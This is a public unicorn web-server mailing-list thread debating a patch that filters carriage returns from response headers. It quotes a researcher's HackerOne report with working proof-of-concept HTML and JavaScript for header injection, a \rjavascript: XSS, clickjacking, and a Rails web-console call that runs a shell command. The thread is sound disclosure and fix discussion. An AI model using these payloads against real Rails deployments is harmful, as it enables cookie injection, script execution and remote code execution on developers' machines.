[RFC] http_response: ignore invalid header response characters

[RFC] http_response: ignore invalid header response characters

[Eric Wong]

I don't really like nanny features, and seems like one.
Neither Sam Sanoop nor I think it's is a big deal; and
I'm not sure if it's worth the extra complexity...
(not that I have any code which is affected by this)

So it's an RFC for now and plain-text comments appreciated,
here, thanks.

----------8<---------
Subject: [RFC] http_response: ignore invalid header response characters

Rack applications may blindly pass headers from untrusted
sources, leading to response header injection.  Silently filter
out some invalid characters which Rack::Lint should've caught,
anyways.

Additional checks will increase CPU usage for all and may be
redundant for some users, so perhaps it's not worth penalizing
all users for the few apps that blindly pass headers through.

Also, the %r{[\(\),\/:;<=>\?@\[\\\]{}[:cntrl:]]} key check may
be overkill, since %r{\r\n} are all that are needed for the key.

Similarly, the /[\x00-\x09]/ && /[\x0b-\x1f]/ value check may
also be overkill, since \x0d (\r) is all that's needed for the
header value.

cf. https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46

Reported-by: Twitter user: @ooooooo_q (via Sam Sanoop)
Reported-by: Sam Sanoop <sams@snyk.io>

Note: As a Free Software project, we cannot endorse proprietary
  messaging systems and thus have no way of communicating with
  those who rely on them.
---
 lib/unicorn/http_response.rb | 10 +++++++---
 test/unit/test_response.rb   | 12 ++++++++++++
 2 files changed, 19 insertions(+), 3 deletions(-)

diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index b23e521..2585385 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -33,14 +33,18 @@ def http_response_write(socket, status, headers, body,
             "Connection: close\r\n"
       headers.each do |key, value|
         case key
-        when %r{\A(?:Date|Connection)\z}i
-          next
+        when %r{\A(?:Date|Connection)\z}i,
+             %r{[\(\),\/:;<=>\?@\[\\\]{}[:cntrl:]]} # cf. rack/lint.rb
+          # ignore headers we don't like
         when "rack.hijack"
           # This should only be hit under Rack >= 1.5, as this was an illegal
           # key in Rack < 1.5
           hijack = value
         else
-          if value =~ /\n/
+          case value
+          when /[\x00-\x09]/, /[\x0b-\x1f]/
+            # invalid values are noop
+          when /\n/ # rack allows "\n"
             # avoiding blank, key-only cookies with /\n+/
             value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
           else
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index fbe433f..a3a6deb 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -42,6 +42,18 @@ def test_response_header_broken_nil
     assert_match %r{^Nil: \r\n}sm, out.string, 'nil accepted'
   end
 
+  def test_bad_val
+    out = StringIO.new
+    http_response_write(out, 200, {'R' => "\r"}, %w(x))
+    assert_not_match %r{^R: \r\r\n}s, out.string
+  end
+
+  def test_bad_key
+    out = StringIO.new
+    http_response_write(out, 200, {"\r" => "R"}, %w(x))
+    assert_not_match %r{: R\r\n}s, out.string
+  end
+
   def test_response_string_status
     out = StringIO.new
     http_response_write(out,'200', {}, [])
-- 
end

Re: [RFC] http_response: ignore invalid header response characters

[Eric Wong]

Sam Sanoop <sams@snyk.io> wrote:
> Hi Eric,

cf. https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
(private followup <CAEQPCYJJdriMQyDNXimCS_kBrc_=DxhxJ66YdJmCe7ZXr-Zbvg@mail.gmail.com>)

Hi Sam, I'm moving this to the public list.  Please keep
unicorn-public@yhbt.net Cc-ed (no need to quote, archives are
public and mirrored to several places).

> I wanted to bring this up again. I spoke with the researcher
> (@ooooooo_q) who disclosed this issue to us. He released the full
> details including the HackerOne report pubclily which provided more
> clarity about this issue. That can be read here:
> https://hackerone.com/reports/904059#activity-8945588

Note: I can't read anything on hackerone due to the JavaScript
requirement.  If somebody can copy the text here, that'd be
great.

> That report was initially disclosed to the Ruby on Rails maintainers.
> In certain conditions, he was also able to leverage Puma and Unicorn
> to exploit the issues mentioned on the report. The issues which
> related to Unicorn were:
> 
> * Open Redirect to HTTP header injection - (including \r in the redirect URL)
> * A user interaction XSS  - Which leverages
> \rjavascript:alert(location) as the redirect destination

Does this happen when unicorn is behind nginx?

unicorn was always designed to run behind nginx and falls over badly
without it (trivially DoS-ed via slowloris)

> Reading that advisory, I see this more of an issue now. He has
> leveraged Unicorn and Puma along with Rails to demonstrate some of the
> proof of concepts. Under the section Vulnerabilities and conditions of
> the report, he has specified different conditions and configurations
> which allow for this vector.
> 
> I agree with Aaron Patterson's (Rails Staff) decision on that report,
> this should be fixed in Unicorn and Puma directly, and Puma has
> already fixed this and issued an advisory:
> https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v.
> 
> I believe there is enough of a risk to fix this issue. What do you think?

While we follow puma on some things (as in recent non-rack
features), I'm not sure if this affects unicorn the same way it
affects puma and other servers (that are supported without nginx).

Fwiw, I've been against client-side JavaScript for a decade, now.
Libre license or not; the complexity of JS gives us a never-ending
stream of vulnerabilities, wasted RAM, CPU cycles, and bandwidth
use from constant software updates needed to continue the game of
whack-a-mole.

rest of thread below (top-posting corrected):

> > On Sun, Jan 3, 2021 at 10:20 PM Eric Wong <bofh@yhbt.net> wrote:
> > >
> > > Sam Sanoop <sams@snyk.io> wrote:
> > > > Hey Eric,
> > > >
> > > > Happy New Year. I want to follow up on the [RFC] http_response: ignore
> > > > invalid header response character RFC for the CRLF injection we spoke
> > > > about previously. I wanted to know what would be the timeline for your
> > > > patch to get merged and what additional steps there are before that
> > > > can happen.
> > >
> > > Hi Sam, honestly I have no idea if it's even necessary...
> > > I've had no feedback since 2020-11-26:
> > >   https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> > >
> > > Meanwhile 5.8.0 was released 2020-12-24 with a feature somebody
> > > actually cared about.
> > >
> > > Again, unicorn falls over without nginx in front of it anyways,
> > > so maybe nginx already guards against this and extra code is
> > > unnecessary on my end.
>
> On Sun, Jan 3, 2021 at 11:03 PM Sam Sanoop <sams@snyk.io> wrote:
> >
> > Hey Eric,
> >
> > No problem, I understand. Since the injection here is happening within
> > the response, I am not convinced if this is exploitable as well. I
> > have let the reporter of this issue know what your stance is. I
> > mentioned if he can provide a better Proof of Concept where this is
> > exploitable in the context of a http request, and look into this a bit
> > further, we can open up discussion again, or else, this is not worth
> > fixing.

Re: [RFC] http_response: ignore invalid header response characters

[Sam Sanoop]

Hi, The researcher didn’t test it with Ngnix, his configuration
according to the report was

server: unicorn (<= latest)
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production


But reading http://blog.volema.com/nginx-insecurities.html, CRLF can
be allowed if a user is using $uri variables within their NGINX
config. So conditions within NGNIX would need to be met.

Regarding the hackerone report, here is a txt version of the report:


ooooooo_q-----------------

Hello,
I was looking at the change log
(https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2)
for CVE-2020-8185 and found another problem existed.

https://github.com/rails/rails/blob/v6.0.3.1/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb#L21

  redirect_to request.params[:location]
end

private
  def actionable_request?(request)
    request.show_exceptions? && request.post? && request.path == endpoint
  end

  def redirect_to(location)
    body = "<html><body>You are being <a
href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"

    [302, {
      "Content-Type" => "text/html; charset=#{Response.default_charset}",
      "Content-Length" => body.bytesize.to_s,
      "Location" => location,
    }, [body]]
  end
There was an open redirect issue because the request parameter
location was not validated.
In 6.0.3.2, since the condition of actionable_request? has changed,
this problem is less likely to occur.

PoC
1. Prepare server
Prepare an attackable 6.0.3.1 version of Rails server

❯ rails -v
Rails 6.0.3.1

❯ RAILS_ENV=production rails s
...
* Environment: production
* Listening on tcp://0.0.0.0:3000
2. Attack server
Prepare the server for attack on another port.

<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=https://www.hackerone.com/">
    <button type="submit">click!</button>
</form>
python3 -m http.server 8000
3. Open browser
Open the http://localhost:8000/attack.html url in your browser and
click the button.
Redirect to https://www.hackerone.com/ url.



Impact
It will be fixed with 6.0.3.2 as with
CVE-2020-8185(https://groups.google.com/g/rubyonrails-security/c/pAe9EV8gbM0),
but I think it is necessary to announce it again because the range of
influence is different.

This open redirect changes from POST method to Get Method, so it may
be difficult to use for phishing.On the other hand, it may affect
bypass of referrer check or SSRF.



ooooooo_q------

I thought about it after submitting the report, but even in 6.0.3.2,
/rails/actions is available in developer mode.
If it was started in development mode, the request will be accepted by
CSRF, so the same as CVE-2020-8185 still exists.
I think it's better to take CSRF measures in /rails/actions.

Vulnerabilities, versions and modes
6.0.3.1 (production, development)
run pending migrations (CVE-2020-8185)
open redirect
6.0.3.2 (development)
run pending migrations (by CSRF)
open redirect (by CSRF)
6.0.3.2 (production)
no problem


tenderloveRuby on Rails staff -------

This seems like a good improvement, but I don't think we need to treat
it as a security issue. If you agree, would you mind filing an issue
on the Rails GitHub issues?
Thank you!


ooooooo_q------

@tenderlove
I'm sorry to reply late.

While researching unicorn, I found this report to lead to other vulnerabilities.

Open Redirect to HTTP header injection
Response header injection vulnerability exists in versions of puma below 4.3.2.
https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v
I have confirmed that unicorn is also enable of response header injection.

HTTP header injection is possible by including \r in the redirect URL
using these.

PoC
> escape("\rSet-cookie:a=a")
"%0DSet-cookie%3Aa%3Da"
This is the html used on the attack server.

<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0DSet-cookie%3Aa%3Da">
  <button type="submit">set cookie</button>
</form>
When click this button, the response header will be as follows.

Location:
Set-cookie: a=a
If you open the developer tools in your browser, you'll see that the
cookie value is set.

When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Therefore, it seems that response body injection that leads to XSS
cannot be performed.

On the other hand, in passenger, it became an error when \r was in the
value of the header.

XSS trick
While trying out \r on the response header, I noticed a strange thing.
If \r is at the beginning, it means that the browser is not redirected
and javascript: can be used in the URL of the response link.
When specify \rjavascript:alert(location) as the redirect destination,
the HTML of the response will be as follows.

<html><body>You are being <a href="
javascript:alert(location)">redirected</a>.</body></html>
The \r character is ignored in html, so javascript:alert(location) is
executed when the user clicks the link.

This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
In puma and unicorn below 4.3.2, \r is used for HTTP header injection,
so no error occurs.
With puma 4.3.3 or later, if there is a line containing \r, it does
not become an error and it can be executed because that line is
excluded.
On the other hand, the error occurred in passenger.

As a further issue, the headers in this response are
middleware-specific and therefore do not include the security headers
Rails is outputting.
Since X-Frame-Options is not included, click jacking is possible.
No output even if CSP is set in the application.

By using click jacking in combination with these, it is easy to
generate XSS that requires user click.

PoC
Inserting the execution code from another site using the name of the iframe.

This PoC will also run in production mode if 6.0.0 < rails < 6.0.3.2.
It can be run with the latest puma and unicorn.

If it is development mode, it can be executed even after 6.0.3.2

child.html
<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aeval%28name%29">
    <button type="submit">location is escape("\rjavascript:eval(name)")</button>
</form>
<script type="text/javascript">
    document.querySelector("button").click();
</script>
click_jacking.html
<html>
<style>
iframe{
    position: absolute;
    z-index: 1;
    opacity: 0.3;
}
div{
    position: absolute;
    top: 20px;
    left: 130px;
}
button {
    width: 80px;
    height: 26px;
    cursor: pointer;
}
</style>
<body>
    <iframe src=./child.html name="alert(location)" height=40></iframe>
    <div>
        <button>click!!</button>
    </div>
</body>
</html>



XSS to RCE
When XSS exists in development mode, I confirmed that calling the
method of web-cosole leads to RCE.
RCE is possible by inducing users who are developing Rails
applications to click on the trap site.

PoC
var iframe = document.createElement("iframe");
iframe.src = "/not_found";
document.body.appendChild(iframe);
setTimeout(()=>fetch("/__web_console/repl_sessions/" +
iframe.contentDocument.querySelector("#console").dataset.sessionId, {
    method: "PUT",
    headers: {
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest"
    },
    body: JSON.stringify({
        input: "`touch from_web_console`"
    })
}), 2000)
<iframe src=./child.html name='var iframe =
document.createElement("iframe");iframe.src =
"/not_found";document.body.appendChild(iframe);setTimeout(()=>
fetch("/__web_console/repl_sessions/"+iframe.contentDocument.querySelector("#console").dataset.sessionId,
{method: "PUT",headers: {"Content-Type":
"application/json","X-Requested-With": "XMLHttpRequest"},body:
JSON.stringify({input: "`touch from_web_console`"})}),2000)'/>
When this is run, a file from from_web_console will be generated.

Vulnerabilities and conditions
Run pending migrations (CVE-2020-8185)
server: any

Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production

Run pending migrations by CSRF
server: any

Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development

Open redirect (from POST method)
server: any

Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production

or

Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development

HTTP header injection
server: unicorn (<= latest) or puma (< 4.3.2)

Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production

or

Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development

XSS (need user click)
server: unicorn (<= latest) or puma (<= latest)

Railse version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production

or

Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development

RCE (from XSS)
server: unicorn (<= latest) or puma (<= latest)
Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development



ooooooo_q------

When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Makes sense. This seems like a security vulnerability in Puma / Unicorn.
This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
I'm not sure exactly which servers are vulnerable (this is too
confusing for me 😔), but whatever handles generating the response
page shouldn't allow \r at the beginning of the href like that.
So this needs to check that location is a url (http or https).
I don't think we need to set the security policy for the redirect page
if we prevent the javascript: location from the href.
How does this patch look?

On Wed, Jan 6, 2021 at 5:53 PM Eric Wong <bofh@yhbt.net> wrote:
>
> Sam Sanoop <sams@snyk.io> wrote:
> > Hi Eric,
>
> cf. https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> (private followup <CAEQPCYJJdriMQyDNXimCS_kBrc_=DxhxJ66YdJmCe7ZXr-Zbvg@mail.gmail.com>)
>
> Hi Sam, I'm moving this to the public list.  Please keep
> unicorn-public@yhbt.net Cc-ed (no need to quote, archives are
> public and mirrored to several places).
>
> > I wanted to bring this up again. I spoke with the researcher
> > (@ooooooo_q) who disclosed this issue to us. He released the full
> > details including the HackerOne report pubclily which provided more
> > clarity about this issue. That can be read here:
> > https://hackerone.com/reports/904059#activity-8945588
>
> Note: I can't read anything on hackerone due to the JavaScript
> requirement.  If somebody can copy the text here, that'd be
> great.
>
> > That report was initially disclosed to the Ruby on Rails maintainers.
> > In certain conditions, he was also able to leverage Puma and Unicorn
> > to exploit the issues mentioned on the report. The issues which
> > related to Unicorn were:
> >
> > * Open Redirect to HTTP header injection - (including \r in the redirect URL)
> > * A user interaction XSS  - Which leverages
> > \rjavascript:alert(location) as the redirect destination
>
> Does this happen when unicorn is behind nginx?
>
> unicorn was always designed to run behind nginx and falls over badly
> without it (trivially DoS-ed via slowloris)
>
> > Reading that advisory, I see this more of an issue now. He has
> > leveraged Unicorn and Puma along with Rails to demonstrate some of the
> > proof of concepts. Under the section Vulnerabilities and conditions of
> > the report, he has specified different conditions and configurations
> > which allow for this vector.
> >
> > I agree with Aaron Patterson's (Rails Staff) decision on that report,
> > this should be fixed in Unicorn and Puma directly, and Puma has
> > already fixed this and issued an advisory:
> > https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v.
> >
> > I believe there is enough of a risk to fix this issue. What do you think?
>
> While we follow puma on some things (as in recent non-rack
> features), I'm not sure if this affects unicorn the same way it
> affects puma and other servers (that are supported without nginx).
>
> Fwiw, I've been against client-side JavaScript for a decade, now.
> Libre license or not; the complexity of JS gives us a never-ending
> stream of vulnerabilities, wasted RAM, CPU cycles, and bandwidth
> use from constant software updates needed to continue the game of
> whack-a-mole.
>
> rest of thread below (top-posting corrected):
>
> > > On Sun, Jan 3, 2021 at 10:20 PM Eric Wong <bofh@yhbt.net> wrote:
> > > >
> > > > Sam Sanoop <sams@snyk.io> wrote:
> > > > > Hey Eric,
> > > > >
> > > > > Happy New Year. I want to follow up on the [RFC] http_response: ignore
> > > > > invalid header response character RFC for the CRLF injection we spoke
> > > > > about previously. I wanted to know what would be the timeline for your
> > > > > patch to get merged and what additional steps there are before that
> > > > > can happen.
> > > >
> > > > Hi Sam, honestly I have no idea if it's even necessary...
> > > > I've had no feedback since 2020-11-26:
> > > >   https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> > > >
> > > > Meanwhile 5.8.0 was released 2020-12-24 with a feature somebody
> > > > actually cared about.
> > > >
> > > > Again, unicorn falls over without nginx in front of it anyways,
> > > > so maybe nginx already guards against this and extra code is
> > > > unnecessary on my end.
> >
> > On Sun, Jan 3, 2021 at 11:03 PM Sam Sanoop <sams@snyk.io> wrote:
> > >
> > > Hey Eric,
> > >
> > > No problem, I understand. Since the injection here is happening within
> > > the response, I am not convinced if this is exploitable as well. I
> > > have let the reporter of this issue know what your stance is. I
> > > mentioned if he can provide a better Proof of Concept where this is
> > > exploitable in the context of a http request, and look into this a bit
> > > further, we can open up discussion again, or else, this is not worth
> > > fixing.



-- 

Sam Sanoop
Security Analyst

Re: [RFC] http_response: ignore invalid header response characters

[Eric Wong]

Thanks for the forwards, I'll take a closer look at it over the
weekend.

Would much appreciate comments from other users following along
in the meantime.

Re: [RFC] http_response: ignore invalid header response characters

[Sam Sanoop]

Hi Eric, did you get a chance to look at this? any thoughts on patching?


On Thu, Jan 14, 2021 at 4:37 AM Eric Wong <bofh@yhbt.net> wrote:
>
> Thanks for the forwards, I'll take a closer look at it over the
> weekend.
>
> Would much appreciate comments from other users following along
> in the meantime.



-- 

Sam Sanoop
Security Analyst

Re: [RFC] http_response: ignore invalid header response characters

[Eric Wong]

Sam Sanoop <sams@snyk.io> wrote:
> Hi Eric, did you get a chance to look at this? any thoughts on patching?

Not yet; still stuck and behind on another project...

Was hoping maybe somebody else paying attention to unicorn-public
would chime in (no idea how many people read it between all
the archives and HTTPS/IMAP/NNTP endpoints).

Maybe I'll have a chunk of time this weekend...

Re: [RFC] http_response: ignore invalid header response characters

[Sam Sanoop]

Since no one is against this patch being applied, and its been a few
months since this discussion has been open. Can you look into this
soon Eric? thanks.


On Thu, Jan 28, 2021 at 10:39 PM Eric Wong <bofh@yhbt.net> wrote:
>
> Sam Sanoop <sams@snyk.io> wrote:
> > Hi Eric, did you get a chance to look at this? any thoughts on patching?
>
> Not yet; still stuck and behind on another project...
>
> Was hoping maybe somebody else paying attention to unicorn-public
> would chime in (no idea how many people read it between all
> the archives and HTTPS/IMAP/NNTP endpoints).
>
> Maybe I'll have a chunk of time this weekend...



-- 

Sam Sanoop
Security Analyst

Re: [RFC] http_response: ignore invalid header response characters

[Eric Wong]

cf. https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/T/

This RFC patch isn't necessary and it's a waste of CPU cycles
for existing users returning valid responses.

I've confirmed nginx will return 502 (Bad Gateway) errors if
either the header key OR header value have "\r" (CR) in it.  The
client never sees the bad response through nginx, only the 502
from nginx.

For anybody unfamiliar with unicorn: unicorn was always designed
to have nginx in front of it, otherwise clients can trivially
DoS it.

I tested with nginx/1.14.2 on Debian stable (10.x).  Also,
varnish/6.1.1 (again on Debian stable) will fail with a 503
error when it sees "\r" in either the header key or value
(nowadays I rely on varnish quite a bit)

Again, thanks for the concern, but no action is necessary for
correctly configured deployments using nginx with or w/o varnish.

The following config.ru can be edited by uncommenting either
of the "cr*" lines to trigger the 502 from nginx.  Leaving
both lines commented shows a 200 "HI\n" response as expected.

==> config.ru <==
#\-E none
use Rack::CommonLogger
run lambda { |env|
  [ 200, {
     'Content-Type' => 'text/plain',
     'Content-Length' => '3',
     # uncommenting either of the following lines causes nginx to 502
     # varnish will 503
     #  "cr\rkey" => "cr-key",
     #  "cr-val" => "cr\rkey",
    },
    [ "HI\n" ]
  ]
}